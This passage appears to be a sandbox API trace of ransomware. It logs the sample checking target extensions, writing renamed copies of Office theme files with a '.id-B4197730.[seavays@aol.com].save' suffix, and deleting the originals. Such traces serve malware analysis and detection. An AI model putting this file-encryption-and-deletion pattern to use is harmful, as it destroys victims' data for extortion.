(lpString1=".jpg", lpString2=".MID") returned -1 [0177.224] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.224] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0177.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.226] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=54347) returned 1 [0177.226] CloseHandle (hObject=0x378) returned 1 [0177.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0177.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.226] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.226] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.228] GetLastError () returned 0x0 [0177.228] ReadFile (in: hFile=0x378, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xd44b, lpOverlapped=0x0) returned 1 [0177.232] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xd450, lpOverlapped=0x0) returned 1 [0177.234] ReadFile (in: hFile=0x378, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.234] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf0, lpOverlapped=0x0) returned 1 [0177.234] SetEndOfFile (hFile=0x520) returned 1 [0177.234] CloseHandle (hObject=0x520) returned 1 [0177.235] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.235] SetEndOfFile (hFile=0x378) returned 1 [0177.238] CloseHandle (hObject=0x378) returned 1 [0177.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0177.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.240] lstrlenW (lpString=".doc") returned 4 [0177.240] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.240] lstrlenW (lpString=".docx") returned 5 [0177.240] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.240] lstrlenW (lpString=".pdf") returned 4 [0177.240] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.240] lstrlenW (lpString=".xls") returned 4 [0177.240] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.240] lstrlenW (lpString=".xlsx") returned 5 [0177.240] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.240] lstrlenW (lpString=".ppt") returned 4 [0177.240] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.240] lstrlenW (lpString=".zip") returned 4 [0177.240] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.240] lstrlenW (lpString=".rar") returned 4 [0177.241] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString=".bz2") returned 4 [0177.241] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString=".7z") returned 3 [0177.241] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.241] lstrlenW (lpString=".dbf") returned 4 [0177.241] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.241] lstrlenW (lpString=".1cd") returned 4 [0177.241] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.241] lstrlenW (lpString=".jpg") returned 4 [0177.241] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.241] lstrlenW (lpString=".doc") returned 4 [0177.241] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString=".docx") returned 5 [0177.241] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.241] lstrlenW (lpString=".pdf") returned 4 [0177.241] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString=".xls") returned 4 [0177.241] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString=".xlsx") returned 5 [0177.241] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.241] lstrlenW (lpString=".ppt") returned 4 [0177.241] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.242] lstrlenW (lpString=".zip") returned 4 [0177.242] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.242] lstrlenW (lpString=".rar") returned 4 [0177.242] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.242] lstrlenW (lpString=".bz2") returned 4 [0177.242] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.242] lstrlenW (lpString=".7z") returned 3 [0177.242] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.242] lstrlenW (lpString=".dbf") returned 4 [0177.242] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.242] lstrlenW (lpString=".1cd") returned 4 [0177.242] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0177.242] lstrlenW (lpString=".jpg") returned 4 [0177.242] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.242] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.242] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0177.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.244] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=352776) returned 1 [0177.244] CloseHandle (hObject=0x378) returned 1 [0177.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0177.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.245] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.245] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.246] GetLastError () returned 0x0 [0177.246] ReadFile (in: hFile=0x378, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x56208, lpOverlapped=0x0) returned 1 [0177.378] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x56210, lpOverlapped=0x0) returned 1 [0177.395] ReadFile (in: hFile=0x378, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.395] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa, lpOverlapped=0x0) returned 1 [0177.395] SetEndOfFile (hFile=0x520) returned 1 [0177.396] CloseHandle (hObject=0x520) returned 1 [0177.396] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.396] SetEndOfFile (hFile=0x378) returned 1 [0177.408] CloseHandle (hObject=0x378) returned 1 [0177.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0177.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.552] lstrlenW (lpString=".doc") returned 4 [0177.552] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".docx") returned 5 [0177.552] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.552] lstrlenW (lpString=".pdf") returned 4 [0177.552] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".xls") returned 4 [0177.552] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".xlsx") returned 5 [0177.552] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.552] lstrlenW (lpString=".ppt") returned 4 [0177.552] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.552] lstrlenW (lpString=".zip") returned 4 [0177.552] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".rar") returned 4 [0177.552] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".bz2") returned 4 [0177.552] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.552] lstrlenW (lpString=".7z") returned 3 [0177.552] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString=".dbf") returned 4 [0177.553] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString=".1cd") returned 4 [0177.553] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString=".jpg") returned 4 [0177.553] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString=".doc") returned 4 [0177.553] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString=".docx") returned 5 [0177.553] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.553] lstrlenW (lpString=".pdf") returned 4 [0177.553] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString=".xls") returned 4 [0177.553] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString=".xlsx") returned 5 [0177.553] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.553] lstrlenW (lpString=".ppt") returned 4 [0177.553] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.553] lstrlenW (lpString=".zip") returned 4 [0177.553] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.553] lstrlenW (lpString=".rar") returned 4 [0177.554] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.554] lstrlenW (lpString=".bz2") returned 4 [0177.554] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.554] lstrlenW (lpString=".7z") returned 3 [0177.554] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.554] lstrlenW (lpString=".dbf") returned 4 [0177.554] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.554] lstrlenW (lpString=".1cd") returned 4 [0177.554] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0177.554] lstrlenW (lpString=".jpg") returned 4 [0177.554] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.554] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.554] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0177.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.556] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=46403) returned 1 [0177.556] CloseHandle (hObject=0x370) returned 1 [0177.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0177.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0177.557] GetLastError () returned 0x0 [0177.557] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xb543, lpOverlapped=0x0) returned 1 [0177.566] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xb550, lpOverlapped=0x0) returned 1 [0177.568] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.568] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf2, lpOverlapped=0x0) returned 1 [0177.569] SetEndOfFile (hFile=0x434) returned 1 [0177.569] CloseHandle (hObject=0x434) returned 1 [0177.569] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.569] SetEndOfFile (hFile=0x370) returned 1 [0177.575] CloseHandle (hObject=0x370) returned 1 [0177.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0177.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.577] lstrlenW (lpString=".doc") returned 4 [0177.577] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.577] lstrlenW (lpString=".docx") returned 5 [0177.577] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.577] lstrlenW (lpString=".pdf") returned 4 [0177.577] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.577] lstrlenW (lpString=".xls") returned 4 [0177.577] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.577] lstrlenW (lpString=".xlsx") returned 5 [0177.577] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.577] lstrlenW (lpString=".ppt") returned 4 [0177.577] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString=".zip") returned 4 [0177.578] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".rar") returned 4 [0177.578] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".bz2") returned 4 [0177.578] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".7z") returned 3 [0177.578] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString=".dbf") returned 4 [0177.578] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString=".1cd") returned 4 [0177.578] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString=".jpg") returned 4 [0177.578] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.578] lstrlenW (lpString=".doc") returned 4 [0177.578] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".docx") returned 5 [0177.578] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.578] lstrlenW (lpString=".pdf") returned 4 [0177.578] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".xls") returned 4 [0177.578] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.578] lstrlenW (lpString=".xlsx") returned 5 [0177.579] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.579] lstrlenW (lpString=".ppt") returned 4 [0177.579] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.579] lstrlenW (lpString=".zip") returned 4 [0177.579] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString=".rar") returned 4 [0177.579] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString=".bz2") returned 4 [0177.579] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString=".7z") returned 3 [0177.579] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.579] lstrlenW (lpString=".dbf") returned 4 [0177.579] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.579] lstrlenW (lpString=".1cd") returned 4 [0177.579] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0177.579] lstrlenW (lpString=".jpg") returned 4 [0177.579] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.579] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.579] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0177.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 